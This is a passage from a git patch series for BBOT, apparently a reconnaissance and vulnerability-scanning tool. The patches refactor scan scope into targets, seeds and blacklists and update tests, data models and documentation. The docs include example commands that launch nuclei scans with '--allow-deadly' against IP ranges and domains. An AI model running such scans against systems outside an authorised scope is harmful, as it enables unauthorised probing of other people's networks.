insertions(+), 6 deletions(-) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 1bb9e6ba96..a1f0156fa5 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -92,12 +92,26 @@ def add(self, targets, data=None): event_seeds = sorted(event_seeds, key=lambda e: ((0, 0) if not e.host else host_size_key(e.host))) for event_seed in event_seeds: self.event_seeds.add(event_seed) - # Some event seeds (e.g. ORG_STUB, USERNAME) are not host-based and have - # host == None. These are still useful as seeds, but cannot be represented - # in the underlying RadixTarget tree, which expects a concrete host. - # Skip adding them at the radix level to avoid errors inside radixtarget. - if event_seed.host is not None: - self._add(event_seed.host, data=(event_seed if data is None else data)) + # Some event seeds (e.g. ORG_STUB, USERNAME, BLACKLIST_REGEX) are not host-based and have + # host == None. These are still useful as parsed target entries, but cannot always be + # represented in the underlying RadixTarget tree, which expects a concrete host. + # Subclasses like ScanBlacklist may still need to see these entries (for regex handling, + # etc.), so we always call self._add() and let the subclass decide whether to forward to + # the radix layer. + self._add(event_seed.host, data=(event_seed if data is None else data)) + + def _add(self, host, data): + """ + Wrapper around RadixTarget._add(). + + The radix tree cannot handle host == None, but some subclasses (e.g. ScanBlacklist) + need to receive non-host-based entries such as BLACKLIST_REGEX. BaseTarget.add() + always calls self._add(); this default implementation safely ignores hostless + entries while still delegating normal hosts to the underlying RadixTarget. + """ + if host is None: + return + super()._add(host, data) def __iter__(self): yield from self.event_seeds From f30f1ed558ebb77d36f8fa08287ad48d3d3c94c8 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 2 Dec 2025 19:00:05 -0500 Subject: [PATCH 188/912] missed a vulnerability test --- bbot/test/test_step_2/module_tests/test_module_excavate.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 5ebec86183..9e18aa9268 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -211,12 +211,10 @@ def check(self, module_test, events): if e.type == "FINDING" and "JWT" in e.data["description"] and str(e.module) == "excavate" ] ) - found_badsecrets_vulnerability = bool( - [e for e in events if e.type == "VULNERABILITY" and str(e.module) == "badsecrets"] - ) + found_badsecrets_finding = bool([e for e in events if e.type == "FINDING" and str(e.module) == "badsecrets"]) assert found_js_url_event, "Failed to find URL event for script.js" - assert found_badsecrets_vulnerability, "Failed to find BADSECRETs finding from script.js" + assert found_badsecrets_finding, "Failed to find BADSECRETs finding from script.js" assert found_excavate_jwt_finding, "Failed to find JWT finding from script.js" From 53b647b197167aa4354458bfde80bdda765e771c Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 2 Dec 2025 21:24:13 -0500 Subject: [PATCH 189/912] update to reflect seed/target changes --- bbot/models/sql.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/bbot/models/sql.py b/bbot/models/sql.py index d58034ccf6..a2581e1bd7 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -126,10 +126,10 @@ class Target(BBOTBaseModel, table=True): name: str = "Default Target" strict_dns_scope: bool = False seeds: List = Field(default=[], sa_type=JSON) - whitelist: Optional[List] = Field(default=None, sa_type=JSON) + target: List = Field(default=[], sa_type=JSON) blacklist: List = Field(default=[], sa_type=JSON) hash: str = Field(sa_column=Column("hash", String(length=255), unique=True, primary_key=True, index=True)) scope_hash: str = Field(sa_column=Column("scope_hash", String(length=255), index=True)) - seed_hash: str = Field(sa_column=Column("seed_hashhash", String(length=255), index=True)) - whitelist_hash: str = Field(sa_column=Column("whitelist_hash", String(length=255), index=True)) + seed_hash: str = Field(sa_column=Column("seed_hash", String(length=255), index=True)) + target_hash: str = Field(sa_column=Column("target_hash", String(length=255), index=True)) blacklist_hash: str = Field(sa_column=Column("blacklist_hash", String(length=255), index=True)) From 7fb25bd3129e2494aa70bea2b1dcb1c392f7da8d Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 3 Dec 2025 00:26:36 -0500 Subject: [PATCH 190/912] fix another test --- .../test_step_2/template_tests/test_template_subdomain_enum.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index 511a0ae306..b892f0631a 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -88,7 +88,8 @@ def check(self, module_test, events): class TestSubdomainEnumWildcardBaseline(ModuleTestBase): # oh walmart.cn why are you like this - targets = ["www.walmart.cn"] + targets = ["walmart.cn"] + seeds = ["www.walmart.cn"] modules_overrides = [] config_overrides = {"dns": {"minimal": False}, "scope": {"report_distance": 10}, "omit_event_types": []} dedup_strategy = "highest_parent" From 7189602a4c1185611b0cb0d44142d9960de1de18 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 3 Dec 2025 10:31:53 -0500 Subject: [PATCH 191/912] updating test to reflect new behavior --- .../template_tests/test_template_subdomain_enum.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index b892f0631a..bbc08d2e40 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -54,7 +54,7 @@ def check(self, module_test, events): class TestSubdomainEnumHighestParent(TestSubdomainEnum): - targets = ["api.test.asdf.www.blacklanternsecurity.com", "evilcorp.com"] + seeds = ["api.test.asdf.www.blacklanternsecurity.com", "evilcorp.com"] target_list = ["www.blacklanternsecurity.com"] modules_overrides = ["speculate"] dedup_strategy = "highest_parent" @@ -71,8 +71,11 @@ def check(self, module_test, events): assert len(distance_1_dns_names) == 2 assert 1 == len([e for e in distance_1_dns_names if e.data == "evilcorp.com"]) assert 1 == len([e for e in distance_1_dns_names if e.data == "blacklanternsecurity.com"]) - assert len(self.queries) == 1 - assert self.queries[0] == "www.blacklanternsecurity.com" + + # Passive subdomain enum templates operate on all seeds, even when + # they are outside the explicit target_list. + # we expect one query for the blacklantern scope and one for the unrelated evilcorp.com seed. + assert set(self.queries) == {"www.blacklanternsecurity.com", "evilcorp.com"} class TestSubdomainEnumLowestParent(TestSubdomainEnumHighestParent): From e7b3a0837d4ebca6371c094606c10f6326a69a64 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 3 Dec 2025 11:39:55 -0500 Subject: [PATCH 192/912] yet another test fix --- .../test_step_2/template_tests/test_template_subdomain_enum.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index bbc08d2e40..2e3a497293 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -83,6 +83,7 @@ class TestSubdomainEnumLowestParent(TestSubdomainEnumHighestParent): def check(self, module_test, events): assert set(self.queries) == { + 'evilcorp.com', "test.asdf.www.blacklanternsecurity.com", "asdf.www.blacklanternsecurity.com", "www.blacklanternsecurity.com", From d3414886cf8cc9026f5d76becce6a61873932db6 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 3 Dec 2025 11:43:55 -0500 Subject: [PATCH 193/912] lint --- .../test_step_2/template_tests/test_template_subdomain_enum.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index 2e3a497293..905a0f5e51 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -83,7 +83,7 @@ class TestSubdomainEnumLowestParent(TestSubdomainEnumHighestParent): def check(self, module_test, events): assert set(self.queries) == { - 'evilcorp.com', + "evilcorp.com", "test.asdf.www.blacklanternsecurity.com", "asdf.www.blacklanternsecurity.com", "www.blacklanternsecurity.com", From 9f9be5cea93774d11baec042f0ce17ef0a2465e9 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 3 Dec 2025 13:24:07 -0500 Subject: [PATCH 194/912] yet another wonderful test adjustment --- .../test_step_2/template_tests/test_template_subdomain_enum.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index 905a0f5e51..872e56cf88 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -167,6 +167,7 @@ def check(self, module_test, events): class TestSubdomainEnumWildcardDefense(TestSubdomainEnumWildcardBaseline): # oh walmart.cn why are you like this targets = ["walmart.cn"] + seeds = ["walmart.cn"] modules_overrides = [] config_overrides = {"dns": {"minimal": False}, "scope": {"report_distance": 10}} dedup_strategy = "highest_parent" From 000518d0f2c542d57af715fb665af5c018840ab8 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 3 Dec 2025 13:33:39 -0500 Subject: [PATCH 195/912] update pydantic model --- bbot/models/pydantic.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 68e71d493e..ed318a3dc8 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -149,10 +149,10 @@ class Target(BBOTBaseModel): name: str = "Default Target" strict_dns_scope: bool = False seeds: List = [] - whitelist: Optional[List] = None + target: List = [] blacklist: List = [] hash: Annotated[str, "indexed", "unique"] scope_hash: Annotated[str, "indexed"] seed_hash: Annotated[str, "indexed"] - whitelist_hash: Annotated[str, "indexed"] + target_hash: Annotated[str, "indexed"] blacklist_hash: Annotated[str, "indexed"] From 1f0399c8119c3208819c9a8dae03972929c0d4ec Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 3 Dec 2025 13:34:54 -0500 Subject: [PATCH 196/912] update documentation for new seeds/targets system --- bbot/test/test_step_1/test_presets.py | 1 - docs/dev/index.md | 6 +++--- docs/dev/target.md | 2 +- docs/scanning/advanced.md | 8 ++++---- docs/scanning/configuration.md | 2 +- docs/scanning/index.md | 24 ++++++++++++++---------- docs/scanning/tips_and_tricks.md | 2 +- 7 files changed, 24 insertions(+), 21 deletions(-) diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 3c0d2cac0c..ca883d36a0 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -1189,4 +1189,3 @@ def test_preset_serialization(): assert preset_dict_round_tripped == preset_dict assert preset_dict["seeds"] == ["192.168.1.1"] assert "target" not in preset_dict - assert "whitelist" not in preset_dict diff --git a/docs/dev/index.md b/docs/dev/index.md index 6315637f02..dbf48402e8 100644 --- a/docs/dev/index.md +++ b/docs/dev/index.md @@ -68,7 +68,7 @@ For more details, including which types of targets are valid, see [Targets](../s #### Other Custom Options -In many cases, using a [Preset](../scanning/presets.md) like `subdomain-enum` is sufficient. However, the `Scanner` is flexible and accepts many other arguments that can override the default functionality. You can specify [`flags`](../index.md#flags), [`modules`](../index.md#modules), [`output_modules`](../output.md), a [`whitelist` or `blacklist`](../scanning/index.md#whitelists-and-blacklists), and custom [`config` options](../scanning/configuration.md): +In many cases, using a [Preset](../scanning/presets.md) like `subdomain-enum` is sufficient. However, the `Scanner` is flexible and accepts many other arguments that can override the default functionality. You can specify [`flags`](../index.md#flags), [`modules`](../index.md#modules), [`output_modules`](../output.md), a [target list / `seeds` / `blacklist`](../scanning/index.md#targets-seeds-and-blacklists), and custom [`config` options](../scanning/configuration.md): ```python # create a scan against multiple targets @@ -78,8 +78,8 @@ scan = Scanner( "4.3.2.1", # enable these presets presets=["subdomain-enum"], - # whitelist these hosts - whitelist=["evilcorp.com", "evilcorp.org"], + # explicitly define in-scope targets + target=["evilcorp.com", "evilcorp.org"], # blacklist these hosts blacklist=["prod.evilcorp.com"], # also enable these individual modules diff --git a/docs/dev/target.md b/docs/dev/target.md index 6740cfb744..b5420801c7 100644 --- a/docs/dev/target.md +++ b/docs/dev/target.md @@ -2,7 +2,7 @@ ::: bbot.scanner.target.ScanSeeds -::: bbot.scanner.target.ScanWhitelist +::: bbot.scanner.target.ScanTarget ::: bbot.scanner.target.ScanBlacklist diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index 3af6daf74b..d66c55e166 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -56,12 +56,12 @@ options: Target: -t, --targets TARGET [TARGET ...] - Targets to seed the scan - -w, --whitelist WHITELIST [WHITELIST ...] - What's considered in-scope (by default it's the same as --targets) + Target scope (defines what is in-scope) + -s, --seeds SEEDS [SEEDS ...] + Define seeds to drive passive modules without being in scope (if not specified, defaults to same as targets) -b, --blacklist BLACKLIST [BLACKLIST ...] Don't touch these things - --strict-scope Don't consider subdomains of target/whitelist to be in-scope + --strict-scope Don't consider subdomains of targets to be in-scope Presets: -p, --preset [PRESET ...] diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 1a22319d52..ee4b508db5 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -87,7 +87,7 @@ scope: ### DNS ### dns: - # Completely disable DNS resolution (careful if you have IP whitelists/blacklists, consider using minimal=true instead) + # Completely disable DNS resolution (careful if you are using IP-based targets/blacklists, consider using minimal=true instead) disable: false # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records minimal: false diff --git a/docs/scanning/index.md b/docs/scanning/index.md index 1d31fa23c8..ac4228bf1f 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -177,24 +177,28 @@ bbot -t evilcorp.com -f subdomain-enum -c scope.report_distance=1 If you want to scan **_only_** that specific target hostname and none of its children, you can specify `--strict-scope`. -Note that `--strict-scope` only applies to targets and whitelists, but not blacklists. This means that if you put `internal.evilcorp.com` in your blacklist, you can be sure none of its subdomains will be scanned, even when using `--strict-scope`. +Note that `--strict-scope` only applies to targets, but not blacklists. This means that if you put `internal.evilcorp.com` in your blacklist, you can be sure none of its subdomains will be scanned, even when using `--strict-scope`. -### Whitelists and Blacklists +### Targets, Seeds, and Blacklists -BBOT allows precise control over scope with whitelists and blacklists. These both use the same syntax as `--target`, meaning they accept the same event types, and you can specify an unlimited number of them, via a file, the CLI, or both. +BBOT uses three related concepts to control scope and how a scan is driven: -#### Whitelists +- **Targets (`-t` / `--targets`)**: Define what is in-scope. These also act as scan seeds if seeds aren't explicitly defined. +- **Seeds (`-s` / `--seeds`)**: Seeds define the starting point for the scan. They drive **passive** modules and can be outside of the explicit target list (out of scope) for those passive modules. If you don’t specify `--seeds`, BBOT will automatically use your targets as seeds. +- **Blacklists (`-b` / `--blacklist`)**: Define what is **never** touched. Anything matching the blacklist is excluded from the scan, even if it would otherwise be in-scope. -`--whitelist` enables you to override what's in scope. For example, if you want to run nuclei against `evilcorp.com`, but stay only inside their corporate IP range of `1.2.3.0/24`, you can accomplish this like so: +This separation lets you, for example, keep a tight target list for what’s considered in-scope, while still allowing passive modules to discover new subdomains that may ultimately be in-scope. The blacklist helps to mask-off anything that you know should not be scanned. + +For example, lets say you have a target with subdomains that resolve both within, and outside of an IP range that defines your scope. You can set the IP range as the **target**, and then safely let BBOT explore the domain defined in **seeds**. Any discovered assets that are in your scope will automatically be assessed by active modules. ```bash -# Seed scan with evilcorp.com, but restrict scope to 1.2.3.0/24 -bbot -t evilcorp.com --whitelist 1.2.3.0/24 -f subdomain-enum -m portscan nuclei --allow-deadly +bbot -t 192.168.1.0/24 -s evilcorp.com -f subdomain-enum -m nuclei --allow-deadly ``` +In this example, any discovered `evilcorp.com` subdomains that resolve within `192.168.1.0/24` will be scanned by `Nuclei`. Any others will be discovered, but not touched by active modules. #### Blacklists -`--blacklist` takes ultimate precedence. Anything in the blacklist is completely excluded from the scan, even if it's in the whitelist. +`--blacklist` takes ultimate precedence. Anything in the blacklist is completely excluded from the scan, even if it would otherwise be in-scope based on your targets or seeds. ```bash # Scan evilcorp.com, but exclude internal.evilcorp.com and its children @@ -222,7 +226,7 @@ If you only want to blacklist the URL, you could narrow the regex like so: bbot -t evilcorp.com --blacklist 'RE:signout\.aspx$' ``` -Similar to targets and whitelists, blacklists can be specified in your preset. The `spider` preset makes use of this to prevent the spider from following logout links: +Similar to targets, blacklists can be specified in your preset. The `spider` preset makes use of this to prevent the spider from following logout links: ```yaml title="spider.yml" description: Recursive web spider @@ -277,4 +281,4 @@ dns: wildcard_tests: 20 ``` -If that doesn't work you can consider [blacklisting](#whitelists-and-blacklists) the offending domain. +If that doesn't work you can consider [blacklisting](#targets-seeds-and-blacklists) the offending domain. diff --git a/docs/scanning/tips_and_tricks.md b/docs/scanning/tips_and_tricks.md index f91708dd35..f8d1acd9e6 100644 --- a/docs/scanning/tips_and_tricks.md +++ b/docs/scanning/tips_and_tricks.md @@ -143,7 +143,7 @@ If you already have a list of discovered targets (e.g. URLs), you can speed up t bbot -m httpx gowitness wappalyzer -t urls.txt -c dns.disable=true ~~~ -Note that the above setting _completely_ disables DNS resolution, meaning even `A` and `AAAA` records are not resolved. This can cause problems if you're using an IP whitelist or blacklist. In this case, you'll want to use `dns.minimal` instead: +Note that the above setting _completely_ disables DNS resolution, meaning even `A` and `AAAA` records are not resolved. This can cause problems if you're relying on IP-based targets or blacklists. In this case, you'll want to use `dns.minimal` instead: ~~~bash # only resolve A and AAAA records From 01708503e181f3dbb183a7f373663202beca4af5 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Sun, 7 Dec 2025 23:52:55 -0500 Subject: [PATCH 197/912] patch wip --- bbot/core/event/base.py | 2 - bbot/core/modules.py | 12 - bbot/modules/base.py | 14 +- bbot/modules/internal/dnsresolve.py | 6 + bbot/modules/output/base.py | 8 +- bbot/scanner/preset/preset.py | 42 +- bbot/scanner/target.py | 23 +- bbot/test/bbot_fixtures.py | 8 +- bbot/test/test_step_1/test_dns.py | 18 +- .../test_manager_scope_accuracy.py | 856 +++++++++--------- 10 files changed, 476 insertions(+), 513 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index a844feb7ac..1e35da046a 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1188,8 +1188,6 @@ def _host(self): class DNS_NAME(DnsEvent): - _always_emit_tags = ["affiliate", "seed"] - def sanitize_data(self, data): return validators.validate_host(data) diff --git a/bbot/core/modules.py b/bbot/core/modules.py index c19580584c..b6165aaef3 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -328,7 +328,6 @@ def preload_module(self, module_file): ansible_tasks = [] config = {} options_desc = {} - accept_seeds = None # None means use default (True for passive, False otherwise) python_code = open(module_file).read() # take a hash of the code so we can keep track of when it changes module_hash = sha1(python_code).hexdigest() @@ -365,16 +364,6 @@ def preload_module(self, module_file): elif any(target.id == "meta" for target in class_attr.targets): meta = ast.literal_eval(class_attr.value) - # class attributes that are boolean values (like accept_seeds) - if type(class_attr) == ast.Assign: - # Check for accept_seeds = True/False - if any(target.id == "accept_seeds" for target in class_attr.targets): - # Handle both ast.Constant (Python 3.8+) and ast.NameConstant (older) - if isinstance(class_attr.value, ast.Constant): - accept_seeds = class_attr.value.value - elif isinstance(class_attr.value, ast.NameConstant): - accept_seeds = class_attr.value.value - # class attributes that are lists if type(class_attr) == ast.Assign and type(class_attr.value) == ast.List: # flags @@ -441,7 +430,6 @@ def preload_module(self, module_file): "config": config, "options_desc": options_desc, "hash": module_hash, - "accept_seeds": accept_seeds, "deps": { "modules": sorted(deps_modules), "pip": deps_pip, diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 1b7e57b805..4542da2769 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -101,7 +101,6 @@ class BaseModule: per_domain_only = False scope_distance_modifier = 0 target_only = False - _accept_seeds = None # None means "use default based on flags" in_scope_only = False accept_url_special = False _module_threads = 1 @@ -744,18 +743,10 @@ def accept_seeds(self): """ Returns whether the module accepts seed events. Defaults to True for passive modules, False otherwise. - Can be explicitly overridden by setting _accept_seeds. """ - if self._accept_seeds is not None: - return self._accept_seeds # Default to True for passive modules, False otherwise return "passive" in self.flags - @accept_seeds.setter - def accept_seeds(self, value): - """Allow explicit setting of accept_seeds to override the default.""" - self._accept_seeds = value - @property def max_scope_distance(self): if self.in_scope_only or self.target_only: @@ -806,9 +797,8 @@ def _event_precheck(self, event): return True, "it is a seed event and module accepts seeds" if not event_type_watched: return False, "its type is not in watched_events" - if self.target_only: - if "target" not in event.tags: - return False, "it did not meet target_only filter criteria" + if self.target_only and "target" not in event.tags: + return False, "it did not meet target_only filter criteria" # limit js URLs to modules that opt in to receive them if (not self.accept_url_special) and event.type.startswith("URL"): diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index 97ac16e4ea..63644ac5cc 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -289,6 +289,12 @@ async def resolve_event(self, event, types): def get_dns_parent(self, event): """ Get the first parent DNS_NAME / IP_ADDRESS of an event. If one isn't found, create it. + + Returns a 4-tuple of: + - the parent event + - whether the parent is in target + - whether the parent is blacklisted + - whether the parent is a new event, i.e. it is newly created or is the current event """ for parent in event.get_parents(include_self=True): if parent.host == event.host and parent.type in ("IP_ADDRESS", "DNS_NAME", "DNS_NAME_UNRESOLVED"): diff --git a/bbot/modules/output/base.py b/bbot/modules/output/base.py index aee38689dc..94066539c7 100644 --- a/bbot/modules/output/base.py +++ b/bbot/modules/output/base.py @@ -40,10 +40,7 @@ def _event_precheck(self, event): # omit certain event types if event._omit: - if "seed" in event.tags: - reason = "it's a seed" - self.debug(f"Allowing omitted event: {event} because {reason}") - elif event.type in self.get_watched_events(): + if event.type in self.get_watched_events(): reason = "its type is explicitly in watched_events" self.debug(f"Allowing omitted event: {event} because {reason}") else: @@ -53,6 +50,9 @@ def _event_precheck(self, event): # or events that are over our report distance if event._internal: return False, "event is internal and output modules don't accept internal events" + + # if event.always_emit: + # return True, "event is always emitted" return True, reason diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 6110860346..bd37f7595c 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -146,9 +146,6 @@ def __init__( *target (str): Target(s) to scan. These ALWAYS become the target (what `in_target()` checks). Types supported: hostnames, IPs, CIDRs, emails, open ports. Note: Positional arguments always mean target, never seeds. - target_list (list, optional): Explicitly define what's in the target (what `in_target()` checks). - If specified, this takes precedence over positional *target arguments. - Note: This defines the target, NOT scope. Use `in_scope()` to check target AND blacklist. seeds (list, optional): Explicitly define seeds (initial events for passive modules). If not specified, seeds will be backfilled from target when target is defined. blacklist (list, optional): Blacklisted target(s). Takes ultimate precedence. Defaults to empty. @@ -269,26 +266,13 @@ def __init__( # target / seeds / blacklist # these are temporary receptacles until they all get .baked() together - # Positional arguments ALWAYS become target (never seeds). - # Seeds must be explicitly provided via the `seeds` parameter. - if target_list is not None: - # Explicit target_list takes precedence over positional args - self._target_list = set(target_list) - elif target: - # Positional args become target - self._target_list = set(target) - else: - # No positional args and no explicit target_list - self._target_list = None - - # Handle seeds - must be explicitly provided - if seeds is not None: - self._seeds = set(seeds) if seeds else set() - else: - # Seeds not explicitly provided - will be backfilled in BBOTTarget if target is set - self._seeds = set() - + self._target_list = set(target or []) self._blacklist = set(blacklist if blacklist else []) + # seeds are special. Instead of initializing them as an empty set, we use "None" + # to signify they haven't been explicitly set. + # after all the merging is done, if seeds are still None, we'll know it's okay to copy + # them from the target_list. + self._seeds = set(seeds) if seeds else None self._target = None @@ -382,12 +366,12 @@ def merge(self, other): self.flags.update(other.flags) # target / scope - self._seeds.update(other._seeds) - if other._target_list is not None: - if self._target_list is None: - self._target_list = set(other._target_list) + self._target_list.update(other._target_list) + if other._seeds is not None: + if self._seeds is None: + self._seeds = set(other._seeds) else: - self._target_list.update(other._target_list) + self._seeds.update(other._seeds) self._blacklist.update(other._blacklist) # module dirs @@ -502,8 +486,8 @@ def bake(self, scan=None): from bbot.scanner.target import BBOTTarget baked_preset._target = BBOTTarget( - seeds=list(self._seeds), - target=list(self._target_list) if self._target_list else None, + seeds=list(self._seeds) if self._seeds else None, + target=list(self._target_list), blacklist=self._blacklist, strict_dns_scope=self.strict_scope, ) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index a1f0156fa5..54ebb9edc8 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -121,7 +121,8 @@ class ScanSeeds(BaseTarget): """ Initial events used to seed a scan. - These are the targets specified by the user, e.g. via `-t` on the CLI. + These are the seeds specified by the user, e.g. via `-s` on the CLI. + If no seeds were specified, the targets (`-t`) are copied here. """ def get(self, event, single=True, **kwargs): @@ -237,19 +238,16 @@ class BBOTTarget: def __init__(self, seeds=None, target=None, blacklist=None, strict_dns_scope=False): self.strict_dns_scope = strict_dns_scope - self._orig_target = target - self._orig_seeds = list(seeds) if seeds else None + self._orig_seeds = seeds target_list = list(target) if target else [] self.target = ScanTarget(*target_list, strict_dns_scope=strict_dns_scope) # Seeds are only copied from target if target is defined but seeds are NOT defined # Use target.inputs (original inputs) to preserve all inputs, including subdomains - seeds_list = list(seeds) if seeds else [] - if not seeds_list and target_list: - seeds_list = list(self.target.inputs) - - self.seeds = ScanSeeds(*seeds_list, strict_dns_scope=strict_dns_scope) + if seeds is None: + seeds = self.target.inputs + self.seeds = ScanSeeds(*list(seeds), strict_dns_scope=strict_dns_scope) blacklist_list = list(blacklist) if blacklist else [] self.blacklist = ScanBlacklist(*blacklist_list) @@ -257,8 +255,8 @@ def __init__(self, seeds=None, target=None, blacklist=None, strict_dns_scope=Fal @property def json(self): return { - "seeds": sorted(self.seeds.inputs), - "target": (None if not self._orig_target else sorted(self.target.inputs)), + "seeds": (None if self._orig_seeds is None else sorted(self.seeds.inputs)), + "target": sorted(self.target.inputs), "blacklist": sorted(self.blacklist.inputs), "strict_dns_scope": self.strict_dns_scope, "hash": self.hash.hex(), @@ -300,8 +298,9 @@ def in_scope(self, host): True """ blacklisted = self.blacklisted(host) - in_target = self.in_target(host) - return in_target and not blacklisted + if blacklisted: + return False + return self.in_target(host) def blacklisted(self, host): """ diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 21370ad287..6a6adbc45c 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -56,12 +56,8 @@ def clean_default_config(monkeypatch): with monkeypatch.context() as m: m.setattr("bbot.core.core.DEFAULT_CONFIG", clean_config) # Also clear CORE's custom_config to ensure Preset.copy() gets a clean core - original_custom_config = CORE._custom_config - CORE._custom_config = OmegaConf.create({}) - try: - yield - finally: - CORE._custom_config = original_custom_config + m.setattr(CORE, "_custom_config", OmegaConf.create({})) + yield class SubstringRequestMatcher(pytest_httpserver.httpserver.RequestMatcher): diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 7ac48ac306..7057080be5 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -253,8 +253,8 @@ def custom_lookup(query, rdtype): # first, we check with wildcard detection disabled scan = bbot_scanner( - target_list=["evilcorp.com", "bbot.fdsa.www.test.evilcorp.com"], - seeds=["evilcorp.com", "bbot.fdsa.www.test.evilcorp.com"], + "evilcorp.com", + seeds=["bbot.fdsa.www.test.evilcorp.com"], config={ "dns": {"minimal": False, "disable": False, "search_distance": 5, "wildcard_ignore": ["evilcorp.com"]}, "speculate": True, @@ -264,13 +264,12 @@ def custom_lookup(query, rdtype): events = [e async for e in scan.async_start()] - assert len(events) == 13 - assert len([e for e in events if e.type == "DNS_NAME"]) == 6 + assert len(events) == 12 + assert len([e for e in events if e.type == "DNS_NAME"]) == 5 assert len([e for e in events if e.type == "RAW_DNS_RECORD"]) == 4 assert sorted([e.data for e in events if e.type == "DNS_NAME"]) == [ "bbot.fdsa.www.test.evilcorp.com", "evilcorp.com", - "evilcorp.com", "fdsa.www.test.evilcorp.com", "test.evilcorp.com", "www.test.evilcorp.com", @@ -318,8 +317,8 @@ def custom_lookup(query, rdtype): # then we run it again with wildcard detection enabled scan = bbot_scanner( - target_list=["evilcorp.com", "bbot.fdsa.www.test.evilcorp.com"], - seeds=["evilcorp.com", "bbot.fdsa.www.test.evilcorp.com"], + "evilcorp.com", + seeds=["bbot.fdsa.www.test.evilcorp.com"], config={ "dns": {"minimal": False, "disable": False, "search_distance": 5, "wildcard_ignore": []}, "speculate": True, @@ -329,14 +328,13 @@ def custom_lookup(query, rdtype): events = [e async for e in scan.async_start()] - assert len(events) == 13 - assert len([e for e in events if e.type == "DNS_NAME"]) == 6 + assert len(events) == 12 + assert len([e for e in events if e.type == "DNS_NAME"]) == 5 assert len([e for e in events if e.type == "RAW_DNS_RECORD"]) == 4 assert sorted([e.data for e in events if e.type == "DNS_NAME"]) == [ 